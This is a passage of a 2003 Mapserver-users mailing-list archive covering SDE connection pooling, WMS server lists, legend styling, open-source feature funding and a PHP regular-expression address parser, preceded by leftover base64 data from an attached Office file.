AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAgAAAAMAAAAEAAAABQAAAAYA
AAAHAAAACAAAAAkAAAAKAAAACwAAAAwAAAANAAAADgAAAA8AAAAQAAAAEQAAABIAAAATAAAA
FAAAABUAAAAWAAAAFwAAABgAAAAZAAAAGgAAABsAAAAcAAAAHQAAAB4AAAAfAAAAIAAAACEA
AAAiAAAAIwAAACQAAAAlAAAAJgAAACcAAAAoAAAAKQAAACoAAAArAAAALAAAAC0AAAAuAAAA
LwAAADAAAAAxAAAAMgAAADMAAAA0AAAANQAAADYAAAA3AAAAOAAAADkAAAA6AAAA/v///zwA
AAA9AAAAPgAAAD8AAABAAAAAQQAAAEIAAAD+////RAAAAEUAAABGAAAARwAAAEgAAABJAAAA
SgAAAP7////9/////v//////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
/////1IAbwBvAHQAIABFAG4AdAByAHkAAAAAAAAAAAAAAAAA4gBFAAAAAAAATxUAuAAUAAAA
dwBpAG4AcAByAGkAbgAWAAUB//////////8CAAAAIAgCAAAAAADAAAAAAAAARgAAAAC4ABQA
AAAAAGgAcAAgAGMA/v///wAAAAAwAAAAVwBvAHIAawBiAG8AbwBrAAAARAEAAAAACFAVALgA
FAAAAAAAAABgAQAAAAAAAGABAAAAAAAAYAHPAEkBAABgARIAAgH///////////////8AAAAA
AABgAQAAAAAAAAACAAAAAAAAAAIAAAAAAABgAQAAAAAAAAAAoXQAAAAAYAEFAFMAdQBtAG0A
YQByAHkASQBuAGYAbwByAG0AYQB0AGkAbwBuAAAAAAAAAAAAYAEAAAAAAABgAQAAAAAAAGAB
KAACAQEAAAADAAAA/////wAAAAAAAHABAAAAAAAAcAEAAAAAAABwAQAAAAAAAHABAAAAADsA
AAAAEAAAAAAwAgUARABvAGMAdQBtAGUAbgB0AFMAdQBtAG0AYQByAHkASQBuAGYAbwByAG0A
YQB0AGkAbwBuAAAAAAAAAAAAcAE4AAIB////////////////AE8VALgAFAAAAAAAAABwAQAA
AAAAAHABAAAAAAAAcAEAAAAAQwAAAAAQAAAAAHAB
--N05WFp22eT95988s781CLn651878CdVQ--
From Tom.Kralidis at CCRS.NRCan.gc.ca Fri Jan 3 08:19:14 2003
From: Tom.Kralidis at CCRS.NRCan.gc.ca (Tom.Kralidis at CCRS.NRCan.gc.ca)
Date: Fri, 3 Jan 2003 11:19:14 -0500
Subject: [Mapserver-users] WMS Sites
Message-ID: <7CDD7B94357FD5119E800002A537C46E04FA1A2C@s5-ccr-r1.ccrs.nrcan.gc.ca>
> -----Original Message-----
> From: Kevin Flanders [mailto:kevinflanders at rcn.com]
> Sent: Friday, January 03, 2003 12:41 AM
> To: mapserver-users
> Subject: [Mapserver-users] WMS Sites
>
>
> Is there a list of WMS Server Sites available? And does
> anyone know if the
> USGS 7.5-minute DEMS are available via a WMS Server?
>
You can check out:
http://www.geoconnections.org/CGDI_DevNet/components/index_e.cfm
http://www.ogcnetwork.org/
..Tom
>
> Kevin
>
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
From mapserver at peligroso.gaiaenv.com Fri Jan 3 08:23:06 2003
From: mapserver at peligroso.gaiaenv.com (GAIA)
Date: Fri, 3 Jan 2003 09:23:06 -0700 (MST)
Subject: [Mapserver-users] Fastest Data Format
Message-ID: <200301031623.h03GN6TO009785@peligroso.gaiaenv.com>
>ArcIMS seems to handle SDE just fine, but that should be no surprise :)
>I imagine that ArcIMS uses connection pooling to avoid the overhead
>associated with making SDE connections.
>
>I should reiterate at this point that the performance problem does not
>adhere to SDE necessarily or to Mapserver necessarily, but to the amount
>of time it takes to negotiate a connection with an SDE server. Once the
>connection is made, everything is performant. It is making the
>connection which is the issue. If you are only making one connection,
>probably it is completely reasonable.
>
>However, the current design of Mapserver treats each layer as a distinct
>entity, and each layer datasource as a distinct entity. So for each
>SDE-based layer, there is a separate SDE connection to be made. Over
>numerous layers, things can add up to quite a long delay.
>
As discussed before, you are absolutely right. How many of us create mapfiles with only one layer? None of course. A GeoSpatial store typically houses vast quantities of data and layers. Pragmatically, SDE is unusable through a MapServer interface at this time. So it does come back to performance--through connection volumes as you indicate, but nonetheless collective performance is throttled.
>Jan Hartmann has made a proposal for connection pooling between layers,
>I do not know if he has a preliminary implementation or if such an
>implementation will be included in 3.7.
>
>Paul
I have always been a proponent of MapServer and fended off the ESRI sales force trying to sell me ArcIMS. We still have a stonger more extensible product in MapServer thanks to all the dev. team. Let's look at filling this hole.
Has there been any progress on this issue? We would be more than happy to help in any way we can.
Cheers,
GAIA
From morissette at dmsolutions.ca Fri Jan 3 09:01:26 2003
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Fri, 03 Jan 2003 12:01:26 -0500
Subject: [Mapserver-users] Open Source economy 101 ;) (was: Fastest Data Format)
References: <200301031623.h03GN6TO009785@peligroso.gaiaenv.com>
Message-ID: <3E15C1E6.88225857@dmsolutions.ca>
GAIA wrote:
>
> I have always been a proponent of MapServer and fended off the ESRI sales force trying to sell me ArcIMS. We still have a stonger more extensible product in MapServer thanks to all the dev. team. Let's look at filling this hole.
>
> Has there been any progress on this issue? We would be more than happy to help in any way we can.
>
Just a quick comment, not directly targetted at anyone, more a general
note about the Open Source economy for MapServer users who feel that
some feature is important to them:
If a feature is critical to you and you don't have developers in-house
to implement it yourself, then keep in mind that you can hire one of the
MapServer developers to implement it for you. The developers have to
pay their bills like everybody else, so features for which funding is
available will always get priority over the ones that nobody wants to
pay for.
In this specific case for instance, this SDE issue seems very important
to many organisations, if it's your case and you know that you saved
10's of thousands of $$ in licenses because you use MapServer then you
might be able to afford a 5-10k$ contract to Steve Lime (the developer
behind SDE support in MapServer) to have him tune it to work the way you
like (if you own SDE then you must have some IT budget ;). At the end
you still get a better product for a lower price.
Of course even if no funding is available this will eventually be fixed,
but only when one of the developers finds time to do it. (BTW I think
Jan Hartmann was going to work on this already, not sure what the status
is now.)
Once again, this is not targetted at any of the individuals who wrote in
this thread. I just wanted to make everyone realize that if you have
access to some $$$ then you can make them work for you (even in the Open
Source world).
Happy New Year to everyone BTW!
Daniel
--
------------------------------------------------------------
Daniel Morissette morissette at dmsolutions.ca
DM Solutions Group http://www.dmsolutions.ca/
------------------------------------------------------------
From morissette at dmsolutions.ca Fri Jan 3 09:41:25 2003
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Fri, 03 Jan 2003 12:41:25 -0500
Subject: [Mapserver-users] Styleitem 'Auto' and Legends
References: <3E159E18.6010905@gdv.com>
Message-ID: <3E15CB45.BDB746DE@dmsolutions.ca>
Oliver Wesp wrote:
>
> I'm somwhat new to using MapInfo TABs with MapServer. So far I got
> everything up and running. My TABs contain different styles so I'm using
> StyleItem 'AUTO' to render these layers. Works fine except for the
> legend. I like every class to appear on the legend. Is this possible? An
> empty class section doesn't appear in the legend (lack of name-item).
> If I add NAME to my class section one class appears in the legend and
> is randomly rendered with different styles due to the displayed features
> when I zoom into the map.
This is a known issue when you use STYLEITEM AUTO and there is not much
we can do about it. The legend icon that you get corresponds to the
style of the last object that was drawn from the layer, that's why it
changes when you zoom in.
The nature of datasets such as TAB files is so that every object in the
file can have a different color and style in theory, so there is no way
MapServer can automatically derive a legend for those layers.
You have a few options, you could build a canned legend and hardcode it
in your HTML template. You could also use the HTML legend and set the
legend icon URL in some layer metadata (the legend icon URL would point
to legend icons that you built yourself for each layer).
I guess we could also modify MapServer so that if you define CLASS
parameters (colors, etc.) in your layer then those parameters are saved
and used for the legend icons instead of the current behavior where
whatever you set in the CLASS object with STYLEITEM AUTO is simply
ignored and the style of the last object takes precedence.
I think I'll file the last option as an enhancement in bugzilla.
Daniel
--
------------------------------------------------------------
Daniel Morissette morissette at dmsolutions.ca
DM Solutions Group http://www.dmsolutions.ca/
------------------------------------------------------------
From steve.lime at dnr.state.mn.us Fri Jan 3 09:45:13 2003
From: steve.lime at dnr.state.mn.us (Steve Lime)
Date: Fri, 03 Jan 2003 11:45:13 -0600
Subject: [Mapserver-users] Fastest Data Format
Message-ID:
Note that a plan to allow connection pooling has been sketched out and
should be included in 3.7...
Steve
Stephen Lime
Data & Applications Manager
Minnesota DNR
500 Lafayette Road
St. Paul, MN 55155
651-297-2937
>>> GAIA 01/02/03 05:26PM >>>
Hi all,
I just read my posting, which sounds somewhat curt and it wasn't meant
to be. Shapefiles are nice and quick for the most part and MapServer is
still the best solution for us by far. Having said that, the SDE
performance is not up to par with the rest of the application. As part
of our model, we promote multiple applications hitting a common data
set. SDE connectivity is a must as our needs and many of our clients'
needs evolve (many of our clients use SDE already), and we were excited
to see its inclusion.
Shapefiles have, for the most part, performed well for us, even with
large data sets. Performance aside, as we and our clients manage larger
data sets, the data management convenience of a RDBMS approach is more
logical and cost effective. The volume of tiles can get rediculous with
large data sets and multiple clients. Now, if we could only realise the
performance...
Cheers,
GAIA
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From steve.lime at dnr.state.mn.us Fri Jan 3 09:51:26 2003
From: steve.lime at dnr.state.mn.us (Steve Lime)
Date: Fri, 03 Jan 2003 11:51:26 -0600
Subject: [Mapserver-users] Off topic a bit: Java GML reader/writer...
Message-ID:
Hi folks: Does anyone know a java-based GML reader/writer class? I'm
looking to use it to load/save features
for a simple online digitizing applet (see
http://maps.dnr.state.mn.us/digitize/java/appletTest.html, requires
java 2 plugin) using WFS. Thanks much...
Steve
Stephen Lime
Data & Applications Manager
Minnesota DNR
500 Lafayette Road
St. Paul, MN 55155
651-297-2937
From mapserver at peligroso.gaiaenv.com Fri Jan 3 10:09:52 2003
From: mapserver at peligroso.gaiaenv.com (GAIA)
Date: Fri, 3 Jan 2003 11:09:52 -0700 (MST)
Subject: [Mapserver-users] Open Source economy 101 ;) (was: Fastest Data Format)
Message-ID: <200301031809.h03I9qv3010100@peligroso.gaiaenv.com>
Hmmm...I don't necessarily agree with all your points here Daniel, but you do raise some valid ones. My comments are general as well, and are not directed at anyone, nor are they intended to be negative (i.e., I hate flaming!).
There is a dichotomy faced by Open Source developers that many of us struggle with: providing resources in an open environment and earning a living! We walk that fine line and try to maintain a balance, both ethically/philosophically and financially. I believe we need to sponsor an environment that is truly open in that users are not afraid to ask, or even push for, new features. In the same token, we need to ensure developers are receiving adequate remuneration--whatever that may entail. Again, we walk the fine line in my mind. Enough philosophy for me! ;)
We would be happy to offer our assistance, but that does not involve C programming (about the only language we don't use here). It could involve $ to developers if our clients inject some $ into the process or could involve other resources (e.g., test environments, dev environments, etc.). Many of us are small consulting shops in the same situation as the developers. Our shop may not spend the time and $ developing the back end of MapServer, but we sure have invested a phenomenal amount of time and $ on the front end and in linking our in-house GIS. We are stongly tied to MapServer and its purpose (we were the first Linux build of MapServer when using the app still required permission from UMN).
I will try to chase some $ for the SDE feature development as I see it is very important. If we are to promote the 'fees for service' approach for atypical MapServer feature development, then perhaps there should be some resources to better expose those development individuals and firms.
Here is a suggestion I would like to pose. Track new feature requests on the website (we do this for our products) and support 'voting' for the features. Have the chief developer (i.e., Steve.. apologies for branding you Steve ;) set a threshold to specify what should receive attention and get rolled into the mainstream dev., and its priority level. In my mind, this would be in the spirit of Open Source in the sense that it would meet the requests of the populous first (not just the ones with $), and in order of priority. (BTW, I am not suggesting this occurs now). Obscure, but nonetheless important features could be directed to the development gurus for hire. I don't know if this seems reasonable, but it may offer a mechanism to control development requests and ensure the dev crew is more visible in order to support them financially. If anyone needed a feature ASAP, then the dev crew could be contracted to implement the solution quickly (typically, if our clients a!
re in a rush, they are more willing to spend $ to expedite the process). I still feel, as most will agree, that in the spirit of Open Source, all development, whether contracted or not ought to be rolled back into the main development pool. Any thoughts on this 'Resource Centre' for lack of better words?
Again, thanks to the folks behind the scenes creating the engines many of us use daily.
Cheers,
GAIA
From pkishor at geoanalytics.com Fri Jan 3 10:21:45 2003
From: pkishor at geoanalytics.com (pkishor_98 )
Date: Fri, 03 Jan 2003 18:21:45 -0000
Subject: [Mapserver-users] Re: OT: Db Logic for Address Query
In-Reply-To: <3DFF131E4E6D2D4198CDD758F35A535302785258@postoffice.GASAI.Com>
Message-ID:
Chip,
> I'm building an address location tool using TIGER data as a base. I
have all
> of the attribute data in a DB. When I execute the query, I return the
> shapeID, and use this to process the address in MapServer.
>
> I'm trying to figure out the logic for doing an address query. In TIGER
> data, addresses are broken out into:
>
> Right and Left Ranges (TO FROM, 4 fields)
> Prefix
> Name
> Suffix
> Type
>
> So the address:
>
> 3645 East Washington Avenue North
>
> would be comprised of data from 5 fields. Right now I have my
front-end set
> up so that the user has to enter each component separately (i.e.
there's a
> field for range, prefix, name, etc.). Yet, I've seen on other address
> location tools the ability to enter this entire string into one field.
>
> How does a query like that work? How would one parse out what should
be in
> each field in order to execute the SQL correctly?
>
one word... regexps.
I hate those multiple fields breaking an address into its component on
the front-end... they are ugly looking. Here is what I did... I wrote
a set of regular expressions that parsed out the various parts of
whatever was entered in the search box. In my case there was the added
complication that one could search by an address, or by tax id, or by
owner name. So, I had to figure out on the back end which of the above
three was the user trying to look for. Having decided that, I would
parse it out into its components and do a match. There would always be
a little text like so... "not finding what you are looking for? try
the advanced search" which would then open up the ugly many fields
entry page.
You can use regexps in both Perl and PHP (and just about any other
language). Below is the function I wrote in PHP to first determine
whether the searchterm was a tax id or an address or an owner name,
and then break it into its component parts. Hth.
//{{{ determineSearchType($searchterm). Find out what we are searching for
function determineSearchType($searchterm) {
$dir = "n(orth)?|e(ast)?|w(est)?|s(outh)?";
$sfx =
"st(r|reet)?|av(e|enue)?|dr(ive)?|la?ne?|c(our)?t|hwy|r(oa)?d|pl(ace)?|cir(cle)?|way";
$qdt = "nw|ne|sw|se";
if (preg_match("/^(\d+|$dir|\d+\s+\D|$sfx)\s*$/i", $searchterm)) {
$ret = array( "searchtype" => "unknown" );
} else {
if (preg_match("/(\d{2}-\d{2}-\d{3}-\d{3}(-\d{4})*)/i",
$searchterm, $ar)) {
$ret = array( "searchtype" => "tax_id", "tax_id" => $ar[1] );
} else if
(preg_match("/^(\d+)\s+([0-9a-z]+)\s+($sfx)(\.|,|\.,)?\s+($qdt)\s*$/i",
$searchterm, $ar)) { // 123 Randal St NW
$ret = array( "searchtype" => "address", "number" => $ar[1],
"street" => $ar[2], "suffix" => $ar[3], "quadrant" => $ar[12] );
} else if
(preg_match("/^(\d+)\s+($dir)\s+([0-9a-z]+)\s+($sfx)\s*$/i",
$searchterm, $ar)) { // 123 S Randal St
$ret = array( "searchtype" => "address", "number" => $ar[1],
"direction" => $ar[2], "street" => $ar[7], "suffix" => $ar[8] );
} else if (preg_match("/^(\d+)\s+($dir)\s+([a-z]+)\s*$/i",
$searchterm, $ar)) { // 123 S Randal
$ret = array( "searchtype" => "address", "number" => $ar[1],
"direction" => $ar[2], "street" => $ar[7] );
} else if (preg_match("/^($dir)\s+([a-z]+)\s+($sfx)\s*$/i",
$searchterm, $ar)) { // S Randal St
$ret = array( "searchtype" => "address", "direction" => $ar[1],
"street" => $ar[6], "suffix" => $ar[7] );
} else if (preg_match("/^(\d+)\s+([a-z]+)\s*$/i", $searchterm,
$ar)) { // 123 Randal
$ret = array( "searchtype" => "address", "number" => $ar[1],
"street" => $ar[2] );
} else if (preg_match("/^(\d+)\s+([a-z]+)\s+($sfx)\s*$/i",
$searchterm, $ar)) { // 123 Randal St
$ret = array( "searchtype" => "address", "number" => $ar[1],
"street" => $ar[2], "suffix" => $ar[3] );
} else if (preg_match("/^([a-z]+)\s+($sfx)\s*$/i", $searchterm,
$ar)) { // Randal St
$ret = array( "searchtype" => "address", "street" => $ar[1],
"suffix" => $ar[2] );
} else if (preg_match("/^([a-z]+)\s+([a-z]+)\s*$/i", $searchterm,
$ar)) { // Randal Schwartz
$ret = array( "searchtype" => "owner", "owner_name" => "$ar[1]
$ar[2]" );
} else if (preg_match("/^([a-z]+)\s*([a-z]*)$/i", $searchterm,
$ar)) { // Randal
$ret = array( "searchtype" => "owner", "owner_name" => $ar[1] );
} else {
$ret = array( "searchtype" => "unknown" );
}
}
$foo = array($ret, $ar);
//array_push($foo, $ret);
//array_push($foo, $ar);
return $foo;
//return $ret;
} //}}}
From jhart at frw.uva.nl Fri Jan 3 10:22:53 2003
From: jhart at frw.uva.nl (Jan Hartmann)
Date: Fri, 03 Jan 2003 19:22:53 +0100
Subject: [Mapserver-users] Fastest Data Format
In-Reply-To: <3E14E8C9.8050609@refractions.net>
References: <4ACBA1414DD9EE418CC250E4AAA9035A192B95@STL-EXBE-I03.corp.erac.com> <3E14E8C9.8050609@refractions.net>
Message-ID: <3E15D4FD.1030402@frw.uva.nl>
I just got connection pooling running (Happy New Year!), but I can only
test it against PostGIS here. As expected, it doesn't make much
difference there (17 vs 14 seconds for a map with 100 layers), but for
SDE and OracleSpatial it should cut substantially more ice. I'll send
the code to Steve Lime and the PostGIS and OS folks for testing and if
they agree it can be put into CVS. Unless I made some terrible mistake
this should not take much time: the whole thing takes about 50 lines in
the main code and about 5 lines for each of the database interfaces.
Moreover, there is no need to change all database interfaces at the same
time: an unchanged interface will run as before.
Note however that connections are pooled ONLY within a single map (i.e.
a single MapServer request). Every new map (e.g. for zoom or pan) has to
open a new connection (which will be used subsequently for all layers in
that map). I'm not sure if this will be adequate for SDE and OS. At
first sight, I have no idea how to keep open a connection between map
requests. Do people know how ArcIMS/SDE and OS manage this (if they do
it at all)?
Jan
Paul Ramsey wrote:
>
> ArcIMS seems to handle SDE just fine, but that should be no surprise :)
> I imagine that ArcIMS uses connection pooling to avoid the overhead
> associated with making SDE connections.
>
> I should reiterate at this point that the performance problem does not
> adhere to SDE necessarily or to Mapserver necessarily, but to the amount
> of time it takes to negotiate a connection with an SDE server. Once the
> connection is made, everything is performant. It is making the
> connection which is the issue. If you are only making one connection,
> probably it is completely reasonable.
>
> However, the current design of Mapserver treats each layer as a distinct
> entity, and each layer datasource as a distinct entity. So for each
> SDE-based layer, there is a separate SDE connection to be made. Over
> numerous layers, things can add up to quite a long delay.
>
> Jan Hartmann has made a proposal for connection pooling between layers,
> I do not know if he has a preliminary implementation or if such an
> implementation will be included in 3.7.
>
> Paul
>
> Martin, Daniel wrote:
>
>> I'm curious, does another GIS product access SDE faster than MapServer?
>>
>> The reason I ask is that I also experience slower performance using
>> MapInfo
>> data via OGR. Certainly I realize MapInfo data isn't nearly as robust as
>> SDE. However, MapServer serves the same map quicker than MapInfo's
>> own GUI
>> application. I can't ask for much more than that.
>>
>> -Dan
>
>
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
From Jean-Francois.Doyon at CCRS.NRCan.gc.ca Fri Jan 3 10:34:33 2003
From: Jean-Francois.Doyon at CCRS.NRCan.gc.ca (Jean-Francois.Doyon at CCRS.NRCan.gc.ca)
Date: Fri, 3 Jan 2003 13:34:33 -0500
Subject: [Mapserver-users] Open Source economy 101 ;) (was: Fastest D
ata Format)
Message-ID: <7CDD7B94357FD5119E800002A537C46E23054F@s5-ccr-r1.ccrs.nrcan.gc.ca>
Heh, time for me to interject :)
You both make very valid points, but they are not mutually exclusive.
First, on the issue of paying or not, and who pays for what, I'd have to
agree with Daniel on the fact that if a feature is so important to someone,
then they can pay for it (We payed for the HTML Legend :), it's all a matter
of how much that feature is worth to you. BUT, I would also say that if
there are several groups looking for a specific feature, nothing is
preventing them from putting their financial resources together in order to
hire a third party to implement a specific feature in a hurry. If GAIA, DM,
AND NRCan were interested in DB Connection pooling, all could share in the
cost. Heck, even competitors could get together to pay for a feature, funny
how that works huh ? :) (Oh and NO, we have no need for that feature, sorry
:) Also, an expense for a feature enhancement can (should?) be concidered as
an investement, since such feature might allow for new business
opportunities and new clients ... I'm sure someone could make a business
case around this concept.
>From our stand point, having been on the paying end of things, I think of it
as "the least we could do" ... As we take advantage of free software for
years on end, and take advantage of the generosity of others, it seems only
fair we return the favor :)
As for the voting system, it's allready kind of in place. Bugzilla supports
voting for bug fixes and new enhancements ... Maybe this feature could be
turned on and promoted as a way (THE way?) for the community to ask for new
features/enhancements or even bug fixes that are deamed important by some.
And yes, it is unfortunate in some ways that MapServer isn't GPL, because
I'm sure there are LOTS of enhancements to MapServer that exist out there
that were never returned to the community, which is unfortunate. We often
hear talk about CFX's for MapServer, or a COM implementation ... I know of
at least one instance of this occuring. Not to mention this also creates
duplication of effort in many cases I'm sure.
My .02$
J.F.
-----Original Message-----
From: GAIA [mailto:mapserver at peligroso.gaiaenv.com]
Sent: Friday, January 03, 2003 1:10 PM
To: Mapserver-users at lists.gis.umn.edu
Subject: Re: [Mapserver-users] Open Source economy 101 ;) (was: Fastest
Data Format)
Hmmm...I don't necessarily agree with all your points here Daniel, but you
do raise some valid ones. My comments are general as well, and are not
directed at anyone, nor are they intended to be negative (i.e., I hate
flaming!).
There is a dichotomy faced by Open Source developers that many of us
struggle with: providing resources in an open environment and earning a
living! We walk that fine line and try to maintain a balance, both
ethically/philosophically and financially. I believe we need to sponsor an
environment that is truly open in that users are not afraid to ask, or even
push for, new features. In the same token, we need to ensure developers are
receiving adequate remuneration--whatever that may entail. Again, we walk
the fine line in my mind. Enough philosophy for me! ;)
We would be happy to offer our assistance, but that does not involve C
programming (about the only language we don't use here). It could involve $
to developers if our clients inject some $ into the process or could involve
other resources (e.g., test environments, dev environments, etc.). Many of
us are small consulting shops in the same situation as the developers. Our
shop may not spend the time and $ developing the back end of MapServer, but
we sure have invested a phenomenal amount of time and $ on the front end and
in linking our in-house GIS. We are stongly tied to MapServer and its
purpose (we were the first Linux build of MapServer when using the app still
required permission from UMN).
I will try to chase some $ for the SDE feature development as I see it is
very important. If we are to promote the 'fees for service' approach for
atypical MapServer feature development, then perhaps there should be some
resources to better expose those development individuals and firms.
Here is a suggestion I would like to pose. Track new feature requests on
the website (we do this for our products) and support 'voting' for the
features. Have the chief developer (i.e., Steve.. apologies for branding
you Steve ;) set a threshold to specify what should receive attention and
get rolled into the mainstream dev., and its priority level. In my mind,
this would be in the spirit of Open Source in the sense that it would meet
the requests of the populous first (not just the ones with $), and in order
of priority. (BTW, I am not suggesting this occurs now). Obscure, but
nonetheless important features could be directed to the development gurus
for hire. I don't know if this seems reasonable, but it may offer a
mechanism to control development requests and ensure the dev crew is more
visible in order to support them financially. If anyone needed a feature
ASAP, then the dev crew could be contracted to implement the solution
quickly (typically, if our clients a!
